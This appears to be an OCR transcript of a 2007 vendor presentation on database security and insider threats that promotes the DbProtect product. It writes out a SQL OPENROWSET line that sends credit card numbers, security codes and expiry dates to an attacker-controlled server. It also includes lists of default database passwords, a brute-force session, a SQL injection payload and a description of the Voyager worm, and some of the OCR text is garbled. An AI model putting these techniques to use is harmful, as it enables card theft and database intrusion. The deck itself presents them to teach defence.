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Database Security & The Insider Threat

= Agenda:
= Grounding Regulatory Compliance in the Database
* The Insider Threat — Attacks and Countermeasures
Database Security & Monitoring Best Practices

Securing Databases with DbProtect
= Q&A
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Federal Regulations Governing Data Security

Gramm-Leach-Bliley Act

= All about data privacy

= Requires that financial institutions safeguard “Personally Identifiable
information” (PII)

........ However.........
= Providing personalized service requires access to personal information

» Necessitates implementing systems and controls to provide simple but
secure access to sensitive Pll data

= GLBA compliance is considered a “best practice” by many retailers

Sarbanes-Oxley Act

= All about data integrity

= Mandates that public companies have effective controls on financial
reporting data.

= Access controls

= Segregation of duties

= Access provided only with proper business requirement
= Audit tralil

= What changes have been made?

= When were they made?

= Who made them?
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Federal Regulations Governing Data Security

FISMA (NIST 800-53)

= All about data security

= Mandates that government organizations have effective controls to protect sensitive
data

= Access controls

= Segregation of duties

= Access provided only with proper business requirement
= Audit trail

= What changes have been made?

= When were they made?

= Who made them?

OMB Memo M-06-16

“Log all computer-readable data extracts from databases holding
sensitive information...”
= Focused on data privacy and audit
= Requires that organizations identify databases containing sensitive data
= Requires auditing of reads (extracts) from those systems
= Requires a means to determine where the data has gone

= Necessitates implementing systems and controls to ensure organizations “Trust
but Verify”
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Payment Card Industry Data Security Standard

A Combination of data privacy and data integrity rules
= Access controls
= Authentication
= Audit trail
= Encryption
= Vulnerability assessment
Penalties are Severe
= Non-compliance fine (egregious violations up to
$500k)
= Ban from processing credit card transactions
Increased processing fees
= Forensic investigation costs
Disclosure / dispute resolution costs
Issuers and Acquirers face unlimited liability
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PCI Requirements Mandate Database Security

Section Description

2 Ensure default passwords are changed

3 Protect Stored Data (Encryption)

4 Protect data in transit across the network (to/from DB)

6 Develop and maintain secure systems using vulnerability

assessment tools

7 Implement strong authentication, authorization, and access controls
8 Assign unique IDs and implement strong password security
10 Auditing and database security monitoring
11 Regular review of security controls and audit data
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Data is under Attack

Privacy Rights
CLEARINGHOUSIE

A Chronology of Data Breaches

http://www.privacyrights.org/ar/ChronDataBreaches.htm
Tracking Sensitive data breaches — since Feb. 2005
Several Hundred Incidences

Victims: Financial Services, Federal Gov’t, Universities,
Manufacturers, Health Care, Consulting & Audit Firms,
etc. etc. etc.

TOTAL number of records containing sensitive personal
information involved in security breaches -

As of this Week >158,000,000 Records
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Costs of a Breach

= |n 2006 Breaches cost companies an average of $182 per
compromised record -- a 31% increase over 2005.

= Of 31 companies studied that experienced a data breach in
2006, direct costs ranged from $1 Million to over $22 Million

source: Ponemon Institute, October 2006

= These figures do not take into account the brand damage and
loss of market capitalization incurred by the companies studied.
The real costs of a breach are astronomical.
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The Database “Insider Threat”

Who are Insiders?
The CISO of one of the largest banks in the world says...

“| define insiders in three categories

1. Authorized and Intelligent
- use IT resources appropriately

2. Authorized and “stupid”
- make mistakes that may appear as malicious or fraudulent.

3. Unauthorized and Malicious
- mask either their identity or their behavior or both!

The first two categories | can identify and track with
identity management systems — the latter, | can
not!!”
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The Database “Insider Threat”

= Why is it important to understand who are the Users?

= 80% of attacks originate on the Inside
= Typically Difficult to detect

* 65% of Threats go Undetected
= 25% of Enterprises detected Security Breaches

= Do you know who they are?

= Can you monitor all database access and behavior?

= Do you know your enterprise DB vulnerability profile?

= Would you pass a Privileged User Audit?

= |s your Audit Trail Tamper Hardened? Non-repudiation?
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The Database “Insider Threat”

= | et's break it down a bit further...

= Authorized Users

= Employees - Clerks, Accountants, Finance, Salespeople,
Purchasing, etc.

= Privileged Users

= DBA’s, DB/App Developers, Application QA, Contractors,
Consultants

= Knowledgeable Users
= [T Op’s, Network Op’s, Security Personnel, Audit Personnel

= Qutsiders or Malicious User with Insider Access and/or

vulnerability knowledge
= The sophisticated “white collar” criminal

An individual may belong to more than one group

11

APPLICATION www.appsecinc.com
SECURITY' INC. © 2007 This document is copyright protected and may not be distributed to any third party without prior consent of the copyright holder.



Database Vulnerabilities

= Buffer Overflows

= Denial of Service

= Default and Weak Passwords

= Privilege Escalation

= Excessive Privileges

= SQL Injection

= Accessing Operating System Resources
= Misconfigurations

APPLICATION 12 www.appsecinc.com
SECURITY' INC. © 2007 This document is copyright protected and may not be distributed to any third party without prior consent of the copyright holder.



Database Security Threats

= Missing Patches
= Buffer Overflows
= Denial of Service
= Privilege Escalation
= QOutside Forces
= SQL Injection
= Root Kits
= And they just keep coming......

= Ex. Oracle now on quarterly patch schedule
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Default and Weak Passwords

= QOracle default passwords
= Hundreds of known default usernames/passwords
= DBSNMP and OUTLN almost always unlocked

= Weak passwords are “easily-guessed”
= Attacking a single account with a dictionary of 100k+ passwords
= Attacking many accounts with a few very common passwords
= Attacking accounts where username = password

= Password dictionaries
=  http://www.openwall.com/passwords/wordlists/
= http://www.petefinnigan.com/default/default password list.htm

= Use the proper safeguards against password crackers
= Use a PROFILE that enforces account lockout and password expiration
= Use the password verify function to force users to choose strong passwords
=  Minimum of 6 characters
= Not a dictionary word
* Include at least one number or special character

= Enable auditing of CREATE SESSION WHEN NOT SUCCESSFUL...and regularly
review the logs!
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Misconfigurations

Security features don’t work when they are disabled!

= Listener Security
= i and earlier off by default
= 10g and beyond default is local OS authentication only

= ADMIN_RESTRICTIONS

= Stops remote configuration of Listener
= All config changes direct to listener.ora

= O7_DICTIONARY_ACCESSIBILITY

= ANY System Privileges apply to SYS schema
= Backwards compatibility mode for Oracle7

= SQL92_SECURITY

= Requires SELECT Privilege to run INSERT/UPDATE with
WHERE
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Excessive Privileges

Practice the Principal of Least Privilege

= Minimize rights to PUBLIC
= Ex. UTL_FILE
= Allows access to host OS
= EXEC granted to PUBLIC by default
= UTL_HTTP, UTL_SMTP, UTL_TCP.....

= Restrict access to powerful roles
= Even CONNECT

= Limit grants of System Privileges
= Particularly those with ANY clause
= And those with ADMIN OPTION
= Also

ALTER SYSTEM

CREATE PROCEDURE

ALTER USER

ALTER PROFILE

EXPORT FULL DATABASE

IMPORT FULL DATABASE
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Missing Patches - Buffer Overflows

Allow an attacker to overwrite system memory with
arbitrary data

= Most dangerous are those that allow arbitrary

commands to be executed by unauthenticated
users.

= No matter how strongly you've set passwords and
other authentication features.

Significant Oracle Database Buffer Overflows:
- TZ_OFFSET buffer overflow (Oracle 9i)
- CREATE DATABASE LINK overflow (Oracle 8i, 9i)
- EXTPROC library name overflow (Oracle 109)
- MDSYS.MD2 buffer overflow (Oracle 8i, 9i, 109)
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Missing Patches - Denial of Service

Attacks that could result in the database
crashing or failing to respond to connect
requests or SQL Queries.

Significant Database Denial of Services:
Oracle8i: NSPTCN data offset DoS

https://www.appsecinc.com/Policy/PolicyCheck31.html

Oracle9i: SNMP DoS

https://www.appsecinc.com/Policy/PolicyCheck45.html

Oracle10g: service_register NSGR DoS

https://www.appsecinc.com/Policy/PolicyCheck135.html
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Missing Patches - Privilege Escalation

Allows a database user to gain unauthorized
access

= Obtain DBA or equivalent rights

= DBMS_METADATA allows PUBLIC to run SQL as
SYS
= Versions 9i - 10gR2
= Fixed in April 2005 CPU

= Modify or Delete data

= Users with CREATE VIEW privilege can INSERT,
UPDATE, or DELETE any data they can SELECT
= Versions 8i - 10gR2
= Fixed in April 2006 CPU
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Missing Patches

Critical Patch Update (CPU) Released Every Quarter

http://www.oracle.com/technology/deploy/security/critical-patch-updates
= Second Tuesday of January, April, July, and October

= Typically contain 12+ database vulnerabilities
= Each with CVSS scores
= Critical issues fixed every quarter

It's hard to keep up...

= Most organizations are 6-9 months behind

= Consider database monitoring to protect critical systems
during their window of vulnerability

...Do your best
= Establish a patching program starting with sensitive

systems
= Build an efficient testing process to quickly accept
patches
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Outside Forces - SQL Injection

A common type of web application vulnerability that
allows a web user to directly interact with the database.

Change:
select CLASS NAME from CLASSES TABLE
where DEPARTMENT = ‘ENGINEERING’

To:

select CLASS NAME from CLASSES TABLE
where DEPARTMENT = ‘ENGINEERING’
UNION select SSN from STUDENTS
where ‘g’'=‘q’
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Outside Forces - Oracle Root Kits

Creates a back door on a computer system

Have been used on operating system for many years

= Create a copy of a system command

» Place hackers commands in new replacement system commands
Root kit is used after breaking into a system

= Allows the hacker to come back later

= And to stay totally cloaked
Change system to

= Not show that the hacker is logged in

= Not log what the hacker does

= To allow hacker to do anything

In 2005, Alexander Kornbrust introduced root kits for Oracle

Full copy of presentation available at:
= http://www.red-database-security.com/wp/db_rootkits_us.pdf

Demonstrated hiding users granted DBA
= Modified the DBA_USERS and ALL_USERS views

Demonstrated hiding connection
= Modified the v§session view
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Attack Scenario: “Insider X’ Harvests Credit Cards

= "Insider X" is a database developer at a large retailer.

» He is responsible for writing the code that accepts credit
card information from POS terminals and writes it into a
database.

= "Insider X" is addicted to adult chat rooms on the internet.

= After spending thousands on his habit, he realizes he
can’t afford to continue, but he can’t stop.

= "Insider X" plots to clandestinely credit card numbers from his
employer’s customers.

= He'll use those credit card numbers to buy more time in
the chat rooms.
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The "Insider X’s” Plan

= The plan is to embed malicious code into the database
that processes and stores customer data.

= He will harvest credit card data as it is being processed into the system,
rather then attempting to take it after the fact.

= "Insider X" has control over the database while in
development, but will have no access when it goes to
production

= His attgtck needs to send the data to him....and do so without getting
noticed.

= "Insider X" will use a Microsoft SQL Server database on a
devetl)opment server that he owns to collect the credit card
numbers.

= He will take them home on disk and delete the records from the SQL
Server every night.
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The Attack

= "[nsider X" knows that the SQL OLE DB Provider
IS installed on the target database server.

= This means he can use the OPENROWSET function to
send data to his remote SQL Server database.

= His attack is a simple line of SQL code embedded
Into the transaction processing system:

INSERT INTO
OPENROWSET('SQLOLEDB','uid=sa;
pwd=qwerty; Network=DBMSSOCN;
Address=192.168.10.87,1433;', 'select * from
Customers..Info') values (@FirstName,
@LastName, @ccNumber, @ccType,

APPLICAT%EEEE; - )€ ’@55 I Ett;} _
nc.com
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The Attack in Detail

‘ OPENROWSET uses the OLE DB provider to
set up a connection to the remote database.
INSERT INTO

OPENROWSET('SQLOLEDB','uid=sa;pwd=qwerty;Network=DBMSSO
CN;Address=192.168.10.87,1433;",'select * from Customers..Info")

Write the data to\
values.( The attackers database is the Info table N
@FirstName, ~ | located at 192.168.10.87 the Customer’s
on port 1433 database...on
@LastName, P "Insider X"s
@ccNumber, - server /
cclype, . . .
@ccTyp This is the information that we're
@ccSecNumber, going to steal. Name, credit card
ccExpDate number, expiration date, and
) @ P - security code....all the good stuff
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"Insider X'’s Attack in progress...

Eile

P o) Mew Query | [y | iy oy Oy | B

: 8|2

Edit  YWew Query

a4y | Customers

I.:,:: Microsoft SOL Server Management Studio

Project  Tools  indow  Community  Help

BwuHe BERES,

1

- E Execute

e B2 %55 B BN

=10l =]

/‘iE'|||'ILPE.Eustum...SQLQueryS.sql*}/' Object Explorer Details ] - X
SELECT # FROM Customers. . Infn:ll =
-

1| | 3

] Results | 3 Messagesl

| ceMNumber

| ccSecNumherl ccExplate |

Yiza
M aztercard
Yisa
Yisa

FirztM ame | LastNamel ool ype
1 | John Simpzon
2 Liza Simpson
3 Jena Doe
4 Jamesz Fipo

4358045098 4355
BEO9034552 9343
4435893746 4503
4238035774 8345

10/10/2010
03/08/2009 starts
03403/ 2005 small
0941042010

I@ Clueny executed successfully, EVILPC [(305F2]  |EVILPC'Adminiztrator [52] !Eustnmers |EIEI:EIEI:EIEI
Feady Lr 1 Col 30 Ch 30 INS 2
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"Insider X'’s Attack in progress...

.:,:: Microsoft SOL Server Management Studio

File Edit ‘Wiew Query Project  Tools  Window  Community  Help

-

DOmewowey | BB GBS dd RDERE T,

S &y | Customers | B Exerute v W 30 ik |2 | 25 | 37 By B | 8385

=10l |

/iE'll'ILPE.Eustum...SQLQueryE.sql*]"- Object Explorer Details ]

SELECT * FEREOM Customers. .Infn:ll

1] |

] Results | 3 Messagesl

Firsth ame I LastNameI cel ype cehumber I n:l:SEl:NumI:uerI ccErpDiate H
1 | John | Simpson Wisa 4358045035 4355 1041042010
2 Liza Simpsont | Mastercard | 5603034552 9343 09/08/2009 then
3 Jena Doe Yisa 4433533746 4503 03/03/2008 grows...
4 James Fipo Visa 4298035774 8345 09/10/200 ;I

2 Duery executed successhully, EVILPC(30SP2)  |EVILPC\Administiator (52)  |Customers (00:00:00 (2048 rows )

Feady Lm1 Col 30 Ch 30

INS

v
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"Insider X'"’s Attack Complete

E;;;Z Microsoft SOL Server Management Studio = IEllil
File Edit ‘e Query  Project  Tools  Window  Community Help
ooy | MG B Bt dd BERE R
W 0 ) | customers o Besars v m BB (W2 (4]0 05 GEN| =2
//E?ILPE.Eustum...SQLQuery:ﬁl.sql*]/' Cbiject Explorer Dekails ] - X
FELECT * FROM Customers..Info —
4| | 3
] Results | e Messagesl
Firstt ame | LastNameI cc ype | cchumber | ccSecNumberl ccExpllate | 3
1 ok Simpzon | Yiza 4388045038 4385 10052000
: : and grows,
2 Liza Simpson | Mastercard | BE09034552 | 9843 0340842009 d
B e Des s 4439899746 4509 03/03/2008 ana grows
4 James Fipn Wiza 4298035774 8345 09042010 _I
2 Duery executed successhully EVILPC(305P2)  |[EVILPC\bdministrator (52) | Customers (000000 @3384 rowE)
Feady Ln1 Col 1 Chi INS 5
. ) . .
16,000+ credit card numbers.....that’s about $80M in Credit!!!
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The Outcome

= Once the application was deployed, "Insider X" collected
at least 300 credit card numbers daily

= After some time "Insider X" had thousands of records in his own SQL
Server...without being noticed by anybody

= During the next scheduled application update, "Insider
X" removed the attack code from the system

= No trace remained on the victim’s SQL Server
= "[nsider X"’s heist was a success

= When the attack was finally detected, it was too late to
do anything about it.

= |nvestigations, fines, firings, brand damage.....it was bad for
everyone....except "Insider X"
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Attack Scenario: Password Cracking

= QOracle Defaults (hundreds of them)

= User Account: internal / Password: oracle
User Account: system / Password: manager
User Account: sys / change_on_install

User Account: dosnmp / Password: dbsnmp

= Microsoft SQL Server Defaults

= User Account: SA / Password: null

= Sybase Defaults

= User Account: SA / Password: null

= MySQL Defaults

= User Account: root / Password: null
= User Account: admin / Password: admin
= User Account: myusername / Password: mypassword
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Password Attack in Progress

o, e

=18] x|

Action  Listeners  Hosks  Exploit Action

Current Callback IP

!12?.0.0.1

Mame IDP rinkinn
=10] =
il i (
RN T T T:-ving...: HINTERNAL:RMAIL
el NE G RORA—BA101 7 invalid usernamespassuword; denied

dbz_getdb B[] Trying...: ADMIN:GL
dbz_getpasswd ORFI—Elﬂi'?: invalid usernamespassuword;

ilsend B[] Trying...: HINTERNAL:RHMAN
Lo it ORA-B1817: dinvalid username- password;

denied

denied
find_null_wnc F

: [1 Trying...: ADMIN:GMA

RGNl ORA -B1A17: invalid username  password; denied
RCRECECE M [ 1 Trying...: HINTERNAL:RRS

ora_getdb JORA-B1817: invalid username/password; denied
oraclegetinfo M[]1 Trying...:= ADMIN:GHMD

ORA-B1817: dnvalid username password; denied
araclegetpmd 4
[1 Teying...: HINTERHAL:SAMPLE
araclegetuser ¢ ORA-B1017: invalid usernamespassuword; denied
lient
Sl 81 Trying...: ADMIN:GME
) ) ORA-A1A17: dinvalid usernamespassuword; denied
explait log | debug infarm
| [1 Trying...: ADMIM:=GMF
[C] CAMVAS Exploit [2]: Bi| 4 2

| = | [DPRACLE ACCOUNT BRUTEFORCER

s
se Account Bruke Forcer ﬂ
-

192,168, 1,250 Localkode IDG0) (selected: 0)
Connectad Modes

Knowledge

Host: 127.0,0,1

Haost: 192, 168.1.225 {current karget)

Inkerfaces

[C] CAMVAS Exploit [2]: Starting S threads...

[] Camvas Exploit [2]:x] Found: SCOTT:TIGER,

CANVAS Explok [2):(x] Found: SCOTT:TIGER.

10 jStatus 1.¢\ction IStart Tirme: !End Tirme lInFormatinn

0 BEEEE ora getdb bruteforcing 192.168.1,225:1521 {found 1 SI07
z 00000 RumMING

04:02:29 PM 0<4:02;49 PM ora_getdb
04:06:40 PM

Oracle account brutefaorcer attacking 192.168.1.225:1521 (in progress)
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Next Steps: Privilege Escalation

SQL> connect scottstiger;
Connected.
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The Attacker Owns the Database

=5 | L WINNT system 32 cmd.exe - sqlplus "scott /tiger@orcl™

291 CDDADSCSC3IZ2CA
SBA2C6AY5BDFZDC4
24ACF617DD7D8F2F
E6A6FA4BER42E3C2
FFA?F3EB14AESC26
ZC632AFBY71FRD3AS
CF?CFACFSAEZ24964
2178822 2DECHAF1 46

380 rows selected.

SQL> select = from salaries;

AMOUNT

LA84 .88

4584 .98

Jivi Losa 358888
Tim Locky L5HA . HA
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Preventing the Password Attack

Vulnerability assessment
= Change Default Passwords

= Remove SCOTT/TIGER
= Implement Password Controls

= Account Lockout
= Password Expiration

= Password Complexity
= Minimum Password Length

Activity Monitoring
= Monitor Database Login activity

= |og all failed and successful logins
= Alerts on repeated failed logins
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Oracle Voyager Worm

= Posted to Full Disclosure list in October 2005
= By an anonymous source

= Not truly a worm
» Really an example of how easy a worm could be

= Based on Oracle PL/SQL only

= Only works if you aren’t securing your Oracle database
= Reminds us of the MS SQL Spida worm

= Relies on default usernames/passwords
= Relies on default port 1521

= Not dangerous (broken) in its current form
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What Does The Voyager Worm Do?

= (ets the local IP address
= Use UTL_INADDR built-in package
= Cuts off the last octet to generate a local subnet

= |Looks for other Listeners on local subnet
= Uses UTL_TCP built-in package

= Sends connect and waits for response
= Sends to port 1521

= | ooks for an instance name

= Create a database link to each Oracle instance found

= Uses DBMS SQL
= Relies on default usernames and passwords

= Runs commands on Instance
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Oracle Voyager Worm - Version 2

= December 271, 2005 enhanced version of Voyager worm
released
= Posted on Full Disclosure mailing list

Still lacks the propagation techniques
= Discovers other Oracle databases on the network
= But does not make the final step of copying worm to databases

= Dangerous payloads
= Backdoors a system
= Uses Logon triggers
= Emails your usernames and passwords to several addresses

= Denial of Service
= Shuts down all listener services on the local subnet

= Tries to access other systems
= Using default usernames and passwords
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Preventing Voyager

= Very easy to prevent
= GGet rid of default username/passwords
= Revoke public permissions on built-in packages

= Oracle10g\Latest version of database is first step
» Most default usernames/passwords locked or removed
= But 95% of databases are still old versions

= Oracle behind a firewall

= Default configuration is very standard

= Most large companies would be vulnerable to a real
worm
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How Do You Stop the Malicious Insider?

Apply the vulnerability management lifecycle...

Establish Controls

& Track Progress
= Document systems
= Establish controls

= Demonstrate continuous
improvement

Prioritize
Baseline/
A Discover

Shield and
Mitigate

) Monitor
Monitor Controls

& Flag Violations
= Who did it?

= What did they do?

= When did they do it?
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Database Security Best Practices

= Vulnerability Assessment

= Discover what you have to build an updated inventory

= Regularly assess your databases for known vulnerabilities

= Patch and reconfigure based on value and risk
= Database Activity Monitoring
Alert in real-time against attempted exploits
Alert in real time against any other suspicious or unusual access
Determine who accessed which systems, when, and how
Determine what they did (both users and administrators)

Understand where the threat / risk originates and deploy the appropriate
solution to defend against such threats

= (Change Auditing

= Establish a baseline policy for database — configuration, schema, users,
privileges and structure — and then track deviations from that baseline

= Selective, Column-Level Encryption
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Assess: Discover all your databases

—
Assess - ) N" Netwrork
DBz 7.Z
Hose 1_E_'.:j - = “JDEZ 2.1
R TR L e s I 2
on el | T | | PEZ Database
= D ki | | Lotus Domino
T Sl | :: - y
SR - | MsDE zooo
— — ——— - :
() ke Range T i e . : | Microsoft 2QL Server
bRy 132,060,000 1.6 L | |Hin:r|:|5|:|ft. 0L Serwer 2000
| Microsoft SQL Serwer 2005
] Oracle Database
i : ] ] O0raclellyg Databasze
uggmajtp;;g. | Lz R et ek i
o —_—_ ] lopat pange | Ind Jame s
Tai ___ e .
-_Eekdf'FPm-"'s‘_______—____ [7 ez
[ Lo D e
HTTP e servers [yl cgert
E L e
D]i’ltﬂ?fw{ﬁrﬁena = . DMEPEWE’ ”E_mfi |
, fae L o=E
[jzadcnz_Ll_wlffEd’_”i_______-—— EE}Z
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Prioritize: Analyze Risk

Vulnerabilities By Risk Level

Prioritize T Mewr 4115 1
Ty o [ oz
Temelata—
D e e [
_Hema: Lca_raﬂcora. ko eehie
_——_—_—_————_—_——__l e T — L | (3/14) &4%
B T[]
#Ltn-h-ﬂ-l'ﬁ;d‘rﬁ_t.i-:, A Infarrmational | (0/14] 0%
— nLEn:"_ﬂ:Fﬂlw:“:E_l_r.
Nefwors Y Fker Ml
_Su-t_ — "Llil'hi:ﬂrhajtrt-]a.m; Total Number of Applications by Application Type
B P (O osthame T P BLEIT:Cytang Susen B, -4
e rome Ot Qe et wrosoh sot semer 2000 |
5 {Bacwork
2 : ALEIT:Crace anc 082 - Al g i
£ 5 Microsaft SQL Server [2/15) 13%
; .|DE¢ 1.2 AL o (i) g l:l
5 |EEZ B.1 MSDE 2000 (1/15] 7%
& [ [ 710E2 Datakase ]
BT Ltz Dowina
# | MEDE 200c Average Number Yulnerabilities by Application Type
ik : |Microscft 0L Serwer MSDE 2000
t |Microscft 0L Serwer 2000
# || Mirroseft 80L Server 2008
& | Oracle Dershaze
#1 || Oraclaldy Datahese
#-1 | |Oracle? Datsbase
* | Oraclefi Databasz
=[] § Oracle$i Datebasz
- | 172, 16.0.0/E2 Rizk Level Yulnerability
B 5 192% Q High zrv_paraminfo buffer averflow in sp_showcoly
e : Q High zrv_paraminfo buffer overflow in sp_updatecolvbm
[ [] 7] gybase 11.0 pst,a.:.nse QHigh wp_dirtree buffer overflow
i+ |g7base 12.1 Datasess Q High »p_mergelineages buffer overflaw
Q High #p_proxiedmetadata buffer overflow
L &Medium Buffer averflow in LPC
I = —— T -."_-':e_- & td edium D atabaze ownerzhip chaining patch not inztalled
=S b ]@i—J & td edium Mamed Pipe Hijacking

‘Q Lt
‘Q Lt

BULK INSERT buffer averflow
Chanaing rmode may leave sa passwaord blank

APPLICATION
SECURITY, INC.

44

www.appsecinc.com

© 2007 This document is copyright protected and may not be distributed to any third party without prior consent of the copyright holder.



= Patch to limit exposure to known vulnerabilities

=

Fix
/ Critical Pateh Update
< Critic al Pateh | Dot - Janyar 2007

Critical Paich Update - Oclobar 2006
Ceritie al Pateh Uipdate - July 2005
Ciltic al Pafch Update - April 2005
Critical Pate - Januany 2006
(Critical Pafch Update - Octobar 2005
Critical Paich Update - July 2005
Critic al Pale h Update - April 2005

titic al Paic h Update - January 2005

MetaLink Mote D Latest VersionDate

£13336] R 1,42 Ja-ua 2000
24501 Figh 5, 22 Heearba S0
s TR
Oracle
EERLFE] L EL
PR R FNTT
3201 e 3,12 Aeri 205
T3z RS, AT HamE 3105

= Remediate misconfigurations

= (Generate Fix-scripts

-- The following statement i to fix a wulnerability within the following check:
-- zrv_paraminfo buffer overtlow in 2p_peekgueus

ISE master
GO

REVORE EXECUTE OM master.dbo.<p_peekgueus FROM public

GO

= |dentify and change default & weak passwords
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Monitor: Database Activity
Alert potential security issues, log routine business transactions

Monitoj

APPLICATION
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-
e
. et | T -
T- Salee Nl L, . ..--'-L‘I...i-l'p.ﬂ A - -r-.
Rk i B T - - e S
ﬂ! ‘1'- “"q--
s s e
1"
b ""“""': il |SS# Credit Card#
P weww= 018881111 4444555566663333
e -:_..t"' 345894325 1212121278787878
) == 789878899 0987654321123456
- 798886543 4678432199008876
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DbProtect: Preventing the "Insider X" Attack

AppDetective
= Discover unauthorized databases

= Configure secure settings
= Disable OLE DB Ad-hoc queries

AppRadar

= Monitor changes to stored procedures
= Log the change and who made it
= Detect use of sensitive and powerful

functions
= OPENROWSET
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DbProtect AppDetective: Discover the Unauthorized DB

& AppDetective - Session #96 [;]@
Session Run  Edit Wiew Help
=2 4 | [5 e b 65 r
ey Open  Discover  Paolicy  Pen Test  Audit  Reports  Update  Schedule Fix
=2 Matwork E Application Banners
= _ 321683130 ariable Mame Walue
= 1433 L1 [InstanceName MSSOLSERVER
iMicrozoft SGIL Server 2000 [M! B e Mo
Microzoft SLIL Server Redirector [1 -
H 2 |np WWP-BB D \pipetaglhqueny
I 4 |Servertlame =P-BEO
H B |tep 1423
L4 B [Wersion 800134
- - - 'l
.< | I | > | Details Wulnerability Descriptinn] Graph&]
Rizk Level Yulherability IP Address Part Applicatian Cietails
< >
Audit Policy: Bage Line [Buil-in] Pen Test Policy: Evaluation [Buil-in]
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DbProtect AppDetective: OLE DB Queries Allowed

& AppDetective - Session #96 l:]@
Session  Run  Edit Wiew Help
= 4 | ] R 2 68 iy
Ty Cpen  Discover  Policy  Pen Test  Audit  Reports  Update Schedule Fix
=B Mebwark, -
- 192.168.3.130 Title OLEDB ad hoc queries allowed ‘
-l 1433
+ Microzsoft SOL Server 2000 [M!
Microzoft SOL Server Rediector (1 Risk Level A\ Medium ‘
CVE Reference # [eU=Siles Y] ‘
Found an OLEDB provider that is nat disabled. |
Summary WMicrosoft SQL Server provides functions that allow users to query data and execute
statements on external data sources. This feature can be used to mount attacks and to run
unsafe Visual Basic for Application functions. This feature should be disabled by disabling ad
hoc QLEDB queries.
Overview Microsoft QL Server provides two functions that allow users to query data and execute
statements on external data sources. These functions are OPEMROWSET and -
MPERINATASO IRTE Thaw ran he nead tn arrace data thiat can ha carnad thraonah an =
_< | 3: Detail:  Wulnerability D escription | Graph&l
Rizk Level Yulnerability |P Address Piort Application Details |~
& I edium Guest uzer exists in database 1921683130 1433 Microsoft SOL Server 2000 (MS50LSERVER] (D atabaze=Morthwind)
E M edium OLEDE ad hoc queries allowed 1921683130 1433 Microzoft SAL Server 2000 [MSSOLSERVER] [Provider=SALOLEDE] 3
& I edium S0L Agent procedures granted to public 1921683130 1433 Microsoft SOL Server 2000 [MS50LSERVER] [Object=dbo mzdb.sp_get_sglagent_properties) [Grat
‘Q Lo BUILTIN Administratars not removed 1921683130 1433 Microsoft SOL Server 2000 [MSSOLSERVER]) " |
Found 70 wulnerabilities, for the session [included 2 applications) Audit Policy; Base Line [Built-in] Pen Test Policy: Evaluation [Built-in]
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DbProtect AppRadar: Use of ALTER PROCEDURE

SECUR]TY' INC Username: xp-bbgYadministrator [Lngou_t] (Admin User)

Dashboard

Reports T

Policies Y Filters Y Sensors Y

System

Start ||F secis)

Login/User Marne

APPLICATION
Home Alerts
Blerts| archive |
Refresh |
Instance Rule Title
|any j |any

Search in SQL

Text

| any 5

Dizplaying 13 of 3051 alerts

-5
- 3052
[~ 3052
- 2050

Rule Tide

ALTER. PROCEDURE

ALTER. PROCEDURE

ALTER PROCEDURE

| Backend
= MS SQL

SQL injection in sp_MSdropret...

Generic use of xp_cmdshell

3 AppSecInc Console - Application Security Inc. - Microsoft Inter

=10l

APPLICATION
SECURITY, INC.

Archive |

Acknowledge Create Exception

|»

Alert ID: [l

Dq_i;a;::se Microsoft QL Server 2000 (Host-based Sensar)

Instance
Backend MS SOL

UIR N {-H ~| TER. PROCEDURE

R /07 10:56:39 PM EDT

LoginfUser

u
Sou

ALTER PROCEDURE [dbo].[ProcessCOrder]

[@FirstMame varchar, @Last Mame varchar,

@cchumber varchar, @ocExpDate datetime,

@ceType v archar, @occSecHumber varchar)

A5 BEGIMN SET NOCOUMNT OM;

INSERT INT O customers..info
(FirstMame,LastMame,cchumber,ccExpDate,ccSec Mumber)
= o] I S o AL LUES ([@FirstMame, @LastMame, @ccNumber, @ccExpDate @c
csecHumber)

INSERT INTO OPEMROWSET('SQOLOLEDR, uid=sa; pwd=gwe
oy Network=DBMSSOCH, Address=192,168.3.130,1433;",
'select * from Customers..Info")

WALUES (@FirstName,@LastName,

@ocMumber |, @ocExpDate, @ocType, @ocSeckumbear)

EMD

| =
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DbProtect AppRadar: Use of OPENROWSET

APPLICATION
SECURlTY' INC. Username: xp-bbg\administrator [Logout] (admin User)
Horme Alerts Dashboard Reparts T Palicies f Filtars ¥ Sensors T System S
/3 AppSecinc Console - Application Security Inc. - Microsoft Intern: | - 10] x|
BIgrtsY| archive | APPLICATION -]
Refresh | Start ||1o Sl SECURITY, INC.
Instance Rule Title Login/User Mame Met Archive | Acknowledge

[any x| any | any =Iffar
Search in SQL Text 2520 |

| Microsuft SOL Server 2000 (Host-based Sensor) ‘

Displaying 14 of 2638 alerts Backend MS SOL ‘

Context:
Alert  Insta
¥ alins BUREEE O Rt e of OFENROWSET |

o BRI -/ 1c/07 10:09:53 PM EDT |
[~ 2637 2 Masc SESL Use of OPENROWSET =

"t Backend Lugjm,‘u; r Hamburglar ‘
[~ 26234 = el Use of OPENROWSET arm
r 2627 Tl Bhféksegf Use of OPENROWSET n/a ‘
[ 2623 3 B;gk:é‘f Use of OPENRCWSET 5%‘:‘;;_‘“‘ ®P-BBO ‘

] Backend "
I 2620 MS SaL Use of OPENRCWSET INSERT INTO OPEMROWSET('SQLOLEDR', uid=sa; pwd=gwerty;Network=D

BMSSOCN;Address=192.162.10.87,1433;",'select * from Custormers.. Info")
values (@Firsthame,@LastName, @cchumber, @ccType, @ocSechu
mber,@ccExpDate)’

SQL Text:

I e e

r 2618 T B;gksegf 5L injection in sp_MSdropret, .
I | 2617 féﬂ BMa;kSeSE Genetic use of xp_crndshell ‘

Risk Level |G/

VE
R nfa
esc

D tion AppRadar has detected the use of the OPENROWSET function. This
_ : function can be used to link databases together, Ll
medium low acknowledged
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DbProtect: Preventing the Password Attack

AppDetective

= Change Default Passwords
= Remove SCOTT/TIGER

= Implement Password Controls
= Account Lockout
= Minimum Password Length
= Password Expiration
= Password Complexity

AppRadar
= Monitor Database Login activity

= Log all failed and successful logins
= Alerts on repeated failed logins
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DbProtect AppDetective: Identifying the Default Password

Session Run  Edit Wiew Help
= % & [ R % 65 iy
W= Open  Discover Policy Pen Test  Audit  Reports  Update Schedule Fix
-1-B5 Metwark A
- 192.168.3.128 [ORACLE10GR2) . CVE . .
: g Risk —— sat : Versions Fix
|- 2 Oracle]0g Listener [1521] Title | o Ref. Description Summary Overview o o o oo References
- gh@ Oraclel0g Database (ORCL #
Eﬁl 31852007 5:15:31 PM
| 341872007 5:19:36 P
|| 448/2007 1:4%:38 P Title Default database password
@ Oracle External Frocedure Ser
- ﬁ Oracle10g D atabaze [testing] 3 7
] 3418/2007 6:27.57 PM Risk Level X GIL
|5 3A18/2007 6:51:41 P
